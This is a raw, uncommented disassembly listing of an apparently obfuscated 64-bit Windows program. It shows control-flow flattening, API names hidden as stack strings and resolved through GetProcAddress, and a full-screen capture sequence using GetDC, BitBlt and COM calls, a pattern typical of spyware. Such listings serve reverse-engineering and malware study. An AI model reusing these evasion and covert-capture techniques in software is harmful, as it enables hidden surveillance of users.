xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x11510c29
mov ebx, 0xb1a69c0c
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0x11510c29
jmp 0x14001f4e8
mov rax, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x38]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x47
mov rax, qword [rbp + 0x38]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 2], 0x74
mov rax, qword [rbp + 0x38]
mov byte [rax + 3], 0x46
mov rax, qword [rbp + 0x38]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x38]
mov byte [rax + 5], 0x6c
mov rax, qword [rbp + 0x38]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 7], 0x53
mov rax, qword [rbp + 0x38]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x38]
mov byte [rax + 9], 0x7a
mov rax, qword [rbp + 0x38]
mov byte [rax + 0xa], 0x65
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x160]
sub rsp, 0x20
xor edx, edx
call rax
add rsp, 0x20
mov rsi, rax
sub rax, qword [rbp - 0x78]
mov edi, eax
not rax
mov rcx, rax
movabs rdx, 0xffffffff00000000
and rcx, rdx
or rdi, rcx
not rdi
or rdi, rax
not rdi
sub rsp, 0x20
mov rcx, rdi
call fcn.14005ff54
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.140059c80
add rsp, 0x20
mov rcx, qword [rbp + 0x160]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov rdx, rbx
mov r8d, esi
xor r9d, r9d
call qword [0x1400820e8]
add rsp, 0x30
mov eax, 0x34b3eed3
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd770e5a7
and edx, 0x288f1a58
or edx, ecx
mov ecx, edx
xor ecx, 0x288f1a58
and ecx, 0xfffffffe
xor edx, 0xd770e5a6
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xac658b49
and edx, 0x539a74b6
or edx, ecx
xor edx, 0x539a74b6
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
or al, dl
xor bl, cl
mov ecx, eax
xor cl, bl
test bl, bl
mov edx, 0x3307ac9b
mov ebx, 0x58536697
cmovne edx, ebx
test al, al
mov eax, 0x3307ac9b
jmp 0x14001dbe4
mov eax, 0xa186100b
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3d5d1664
and edx, 0xc2a2e99b
or edx, ecx
mov ecx, edx
xor ecx, 0xc2a2e99b
xor edx, 0x10091660
and edx, 0x9029fee3
mov ebx, ecx
and ebx, 0x6fd6011c
or ebx, edx
xor ebx, 0x6fd6011d
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x7f9beda3
and ecx, 0x8064125c
or ecx, edx
xor ecx, 0x8064125c
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x31df4b0a
mov ebx, 0x1aa7b900
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, dl
mov ecx, 0x31df4b0a
jmp 0x14001f199
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x8fae4102
and ecx, 0x7051befd
or ecx, eax
mov eax, ecx
xor eax, 0x7051befd
xor ecx, 0x7024102
and ecx, 0x5702536a
mov edx, eax
and edx, 0xa8fdac95
or edx, ecx
xor edx, 0xa8fdac94
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
setne bl
cmp dword [0x14008201c], 0xa
setl dl
xor bl, dl
mov ecx, ebx
xor cl, 1
or al, dl
xor al, 1
or al, cl
xor cl, al
test al, al
mov eax, 0x3801fa8d
mov edx, 0x110ed5e5
cmovne eax, edx
test bl, bl
cmovne eax, edx
test cl, cl
mov ecx, 0x3801fa8d
jmp 0x14001f199
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rdx, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rdi, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rsi, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x40], r13
mov r13, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r12, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r15, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r14, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x38], rsp
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 8], rax
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x18], rax
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x28], rax
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x30], rax
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x38], rax
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x40], rax
mov eax, 0xbc0
call fcn.140058490
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], rdx
mov rax, qword [rbp + 0x50]
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm8
mov rcx, qword [0x140081b20]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
add rsp, 0x20
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x60], rbx
mov rax, qword [rbp + 0x60]
movaps xmmword [rbx], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx + 0x20], xmm6
mov word [rbx + 0x30], 0
mov dword [rbx], 0x44746547
mov byte [rbx + 4], 0x43
mov rcx, qword [0x140081b20]
sub rsp, 0x20
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rcx, qword [rbp + 0x58]
sub rsp, 0x20
call rax
add rsp, 0x20
mov qword [rbp + 0x68], rax
mov rbx, qword [rbp - 0x28]
mov qword [rbp + 0x70], rbx
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x78], rdi
mov rax, qword [rbp + 0x78]
movaps xmmword [rdi], xmm6
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi + 0x20], xmm6
mov word [rdi + 0x30], 0
movabs rax, 0x6e65696c43746547
mov qword [rdi], rax
mov dword [rdi + 8], 0x63655274
mov byte [rdi + 0xc], 0x74
mov rcx, qword [0x140081b20]
sub rsp, 0x20
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rcx, qword [rbp + 0x58]
sub rsp, 0x20
mov rdx, rbx
call rax
add rsp, 0x20
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi + 0x20], xmm6
mov word [rsi + 0x30], 0
movaps xmmword [rsi], xmm9
mov rcx, qword [0x140081b20]
sub rsp, 0x20
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov ecx, 0x4e
call rax
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov ecx, 0x4f
call rdi
add rsp, 0x20
mov rdi, rax
mov qword [rbp + 0x88], r13
mov rax, qword [rbp + 0x88]
movaps xmmword [r13 + 0x10], xmm6
movaps xmmword [r13 + 0x20], xmm6
mov word [r13 + 0x30], 0
movaps xmmword [r13], xmm7
mov word [r13 + 0x10], 0x4344
mov rcx, qword [0x140081b28]
sub rsp, 0x20
mov rdx, r13
mov r13, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rcx, qword [rbp + 0x68]
sub rsp, 0x20
call rax
add rsp, 0x20
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], r12
mov rax, qword [rbp + 0x98]
movaps xmmword [r12 + 0x10], xmm6
movaps xmmword [r12 + 0x20], xmm6
mov word [r12 + 0x30], 0
movaps xmmword [r12], xmm7
mov dword [r12 + 0x10], 0x6d746942
mov word [r12 + 0x14], 0x7061
mov rcx, qword [0x140081b28]
sub rsp, 0x20
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rcx, qword [rbp + 0x68]
sub rsp, 0x20
mov edx, esi
mov r8d, edi
call rax
add rsp, 0x20
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], r15
mov rax, qword [rbp + 0xa8]
movaps xmmword [r15], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15 + 0x20], xmm6
mov word [r15 + 0x30], 0
movabs rax, 0x624f7463656c6553
mov qword [r15], rax
mov dword [r15 + 8], 0x7463656a
mov rcx, qword [0x140081b28]
sub rsp, 0x20
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xa0]
sub rsp, 0x20
call rax
add rsp, 0x20
mov qword [rbp + 0xb0], r14
mov rax, qword [rbp + 0xb0]
movaps xmmword [r14], xmm6
movaps xmmword [r14 + 0x10], xmm6
movaps xmmword [r14 + 0x20], xmm6
mov word [r14 + 0x30], 0
mov dword [r14], 0x42746942
mov word [r14 + 4], 0x746c
mov rcx, qword [0x140081b28]
sub rsp, 0x20
mov rdx, r14
mov r14, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call r14
add rsp, 0x20
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x90]
sub rsp, 0x50
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
xor edx, edx
xor r8d, r8d
mov r9d, esi
call rax
add rsp, 0x50
mov rdx, qword [rbp - 0x30]
mov qword [rbp + 0xb8], rdx
mov rax, qword [rbp + 0xb8]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x616974696e496f43
mov qword [rdx], rax
mov dword [rdx + 8], 0x657a696c
mov rcx, qword [0x140081b30]
sub rsp, 0x20
call r14
xor ecx, ecx
call rax
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov rax, qword [rbp - 0x10]
mov qword [rax], 0
mov rdx, qword [rbp - 0x38]
mov qword [rbp + 0xc8], rdx
mov rax, qword [rbp + 0xc8]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm10
mov rcx, qword [0x140081b30]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
sub rsp, 0x30
mov qword [rsp + 0x20], rcx
lea rcx, [0x140074950]
xor edx, edx
mov r8d, 1
lea r9, [0x140074970]
call rax
add rsp, 0x30
mov dword [rbp + 0xd0], eax
cmp dword [rbp + 0xd0], 0
setns byte [rbp + 0xd7]
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0x58a57a
mov eax, 0x8481399
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x58a57a
jmp 0x14001ef36
mov eax, 0xb5987a3a
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x32f6771
mov ecx, dword [rbp + 0x130]
jmp 0x14001df4d
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 8]
mov rdx, qword [rdx]
sub rsp, 0x20
mov r8d, 2
call qword [rax + 0x18]
add rsp, 0x20
mov eax, 0x282bf453
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x85366261
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
mov edx, 0xcceb8ea
mov eax, 0xd2f76f5
cmovne edx, eax
test cl, cl
mov eax, 0xcceb8ea
cmovne eax, edx
test bl, bl
cmove eax, edx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x3f5484aa
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x2a6ceb12
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x90b9ede0
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov edx, ecx
xor dl, bl
test bl, bl
mov eax, 0xb61746ea
mov ebx, 0x42ef2a7
cmovne eax, ebx
test cl, cl
mov ecx, 0xb61746ea
jmp 0x14001e63d
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0xd8]
mov eax, 0x4662ef8c
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x428b1df2
mov ecx, dword [rbp + 0x194]
mov dword [rbp - 0x4c], ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov ecx, dword [0x140082018]
mov edi, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x3fbcbbcd
mov ebx, ecx
and ebx, 0xc0434432
or ebx, edx
xor ebx, 0xc0434433
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xcb1fe8f7
and ecx, 0x34e01708
or ecx, edx
xor ecx, 0x34e01708
sete cl
setne al
cmp edi, 0xa
setl bl
cmp edi, 9
setg dl
and cl, dl
or dl, al
and bl, al
or bl, cl
mov eax, edx
xor al, bl
mov ecx, 0xe5fa012a
mov eax, 0xd8ae3925
cmovne ecx, eax
test bl, bl
mov eax, ecx
mov ebx, 0xe5fa012a
cmovne eax, ebx
test dl, dl
jmp 0x14001f467
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rdx, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r15, rsp
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rsi, r13
mov r13, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r14, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rbx, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rdi, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x38], rsp
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm8
mov rcx, qword [0x140081b20]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
add rsp, 0x20
mov r12, rax
movaps xmmword [r15], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15 + 0x20], xmm6
mov word [r15 + 0x30], 0
mov dword [r15], 0x44746547
mov byte [r15 + 4], 0x43
mov rcx, qword [0x140081b20]
sub rsp, 0x20
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r12
call rax
add rsp, 0x20
mov qword [rbp - 0x60], rax
movaps xmmword [r13], xmm6
movaps xmmword [r13 + 0x10], xmm6
movaps xmmword [r13 + 0x20], xmm6
mov word [r13 + 0x30], 0
movabs rax, 0x6e65696c43746547
mov qword [r13], rax
mov dword [r13 + 8], 0x63655274
mov byte [r13 + 0xc], 0x74
mov rcx, qword [0x140081b20]
sub rsp, 0x20
mov rdx, r13
mov r13, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r12
mov rdx, qword [rbp - 0x68]
call rax
add rsp, 0x20
movaps xmmword [r14 + 0x10], xmm6
movaps xmmword [r14 + 0x20], xmm6
mov word [r14 + 0x30], 0
movaps xmmword [r14], xmm9
mov rcx, qword [0x140081b20]
sub rsp, 0x20
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov ecx, 0x4e
call rax
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
mov ecx, 0x4f
call rsi
add rsp, 0x20
mov r15, rax
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx + 0x20], xmm6
mov word [rbx + 0x30], 0
movaps xmmword [rbx], xmm7
mov word [rbx + 0x10], 0x4344
mov rcx, qword [0x140081b28]
sub rsp, 0x20
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, qword [rbp - 0x60]
mov rcx, rsi
call rax
add rsp, 0x20
mov rbx, rax
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi + 0x20], xmm6
mov word [rdi + 0x30], 0
movaps xmmword [rdi], xmm7
mov dword [rdi + 0x10], 0x6d746942
mov word [rdi + 0x14], 0x7061
mov rcx, qword [0x140081b28]
sub rsp, 0x20
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
mov rdi, rsi
mov edx, r14d
mov r8d, r15d
call rax
add rsp, 0x20
mov rsi, rax
mov rdx, qword [rbp - 0x70]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x624f7463656c6553
mov qword [rdx], rax
mov dword [rdx + 8], 0x7463656a
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov rdx, rsi
call rax
add rsp, 0x20
mov rdx, qword [rbp - 0x28]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov dword [rdx], 0x42746942
mov word [rdx + 4], 0x746c
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sub rsp, 0x30
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], r15d
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rcx, rbx
xor edx, edx
xor r8d, r8d
mov r9d, r14d
mov r14, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
add rsp, 0x50
mov rdx, qword [rbp - 0x30]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x616974696e496f43
mov qword [rdx], rax
mov dword [rdx + 8], 0x657a696c
mov rcx, qword [0x140081b30]
sub rsp, 0x20
call r14
xor ecx, ecx
call rax
add rsp, 0x20
mov rsi, qword [rbp - 0x40]
mov qword [rsi], 0
mov rdx, qword [rbp - 0x38]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm10
mov rcx, qword [0x140081b30]
sub rsp, 0x20
call r14
sub rsp, 0x10
mov qword [rsp + 0x20], rsi
lea rcx, [0x140074950]
xor edx, edx
mov r8d, 1
lea r9, [0x140074970]
call rax
add rsp, 0x30
mov eax, 0x265b557d
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov eax, 0x6b96c26c
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov dword [rbp - 0x58], 1
mov eax, 0x4f047da7
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0x9efaebab
mov ebx, 0x34b3eed3
cmovne eax, ebx
test dl, dl
mov edx, 0x34b3eed3
cmovne edx, eax
jmp 0x14001f4e6
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x7604398d
and ecx, 0x89fbc672
or ecx, eax
xor ecx, 0x89fbc672
setne al
sete cl
cmp dword [0x14008201c], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0xa8115ba0
mov ebx, 0xa082e720
cmovne eax, ebx
test dl, dl
mov edx, 0xa082e720
cmovne edx, eax
jmp 0x14001f4e6
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x29f21f28
and edx, 0xd60de0d7
or edx, ecx
mov ebx, edx
xor ebx, 0xd60de0d7
xor edx, 0x8400b28
and edx, 0xe49eb28
mov ecx, ebx
and ecx, 0xf1b614d7
or ecx, edx
xor ecx, 0xf1b614d6
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x6b852cad
mov ebx, 0x55b5246b
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, dl
mov ecx, 0x6b852cad
jmp 0x14001f199
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xa77aa8a0
and edx, 0x5885575f
or edx, ebx
xor edx, 0x5885575e
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0x7df6a6a
mov ebx, 0x3aa81275
cmovne edx, ebx
test cl, cl
mov ecx, edx
cmovne ecx, ebx
test al, al
cmove ecx, edx
jmp 0x14001f6a0
mov eax, 0xb7713f99
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x9e5705af
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x53b38a48
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x60]
add rsp, 0x20
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xd5f4fa16
and ecx, 0x2a0b05e9
or ecx, eax
mov eax, ecx
xor eax, 0x2a0b05e8
and eax, 0xfffffffe
xor ecx, 0xd5f4fa17
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, eax
xor dl, cl
and cl, al
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x6238ec78
mov ebx, 0x9b1dfebe
cmovne eax, ebx
test cl, cl
mov ecx, 0x6238ec78
jmp 0x140017560
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
mov rdx, r13
mov r8d, 0x40000000
call qword [rax + pe_nt_image_headers64]
add rsp, 0x20
mov dword [rbp + 0x108], eax
cmp dword [rbp + 0x108], 0
setns byte [rbp + 0x10f]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov ebx, 0xfdfd9d64
mov eax, 0x2cebb197
cmovne ebx, eax
test cl, cl
mov eax, 0xfdfd9d64
cmovne eax, ebx
jmp 0x14001e640
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x6ab28c12
mov eax, edx
and eax, 0x954d73ed
or eax, ebx
xor eax, 0x954d73ec
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x4cf56ba9
mov edx, 0x6e6d25d
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0x4cf56ba9
jmp 0x140017565
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x18c], eax
mov rax, qword [rbp + 0x118]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xc4828f08
and ecx, 0x3b7d70f7
or ecx, edx
xor ecx, 0x3b7d70f6
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
mov eax, ecx
xor al, dl
mov ebx, 0x8687d640
mov eax, 0xf6fcf6b3
cmovne ebx, eax
test cl, cl
mov eax, 0x8687d640
cmovne eax, ebx
jmp 0x14001e640
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x12183627
and ecx, 0xede7c9d8
or ecx, edx
xor ecx, 0xede7c9d9
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x9d8b3062
mov ebx, 0xe5e94d26
